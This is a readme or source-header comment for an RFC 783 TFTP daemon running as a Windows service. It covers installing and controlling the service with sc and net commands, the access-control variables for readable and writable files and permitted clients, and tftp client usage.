 ====================================================================== ==
Abstract:
 This implements an RFC 783 tftp daemon.
 It listens on port 69 for requests
 and spawns a thread to process each request.

TFTPD USAGE and Installation:

  md d:/tftpd                                     (the StartDirectory).
  copy //MohsinA_p90/test/tftpd.exe .
  sc create tftpd binPath= d:/tftpd/tftpd.exe     (give full path).
  sc query tftpd                                  (check if installed).

Start:
    sc start tftpd -f                             (creates a log file).
or  sc start tftpd
or  net start tftpd
or  sc start tftpd [-dStartDirectory] [-e] [-f]
    Options: -e  use event log.
             -f  log to file.
             -dStartDirectory
Info:
  sc interrogate tftpd           (logs will be updated).
  sc query tftpd                 Check whether running.
Stop:
  sc  stop tftpd
  net stop tftpd

Variables that control what files can be read/written and by whom:
   StartDirectory - only files there will be accessible.
                    LogFile is created here.
   ValidClients - Clients matching this ip address can read files.
                    eg. you can set it to "157.55.8?.*"
   ValidMasters   - clients matching this can write and read files.
                    eg. you can set it to "" and no one can write.
   ValidReadFiles - only matching files will be served out, eg. "r*.t?t"
   ValidWriteFiles- only matching files will be accepted,  eg. "w*.txt"

Client:
  tftp [-i] servername {get|put} src_file dest_file
  -i from binary mode, else ascii mode is used.
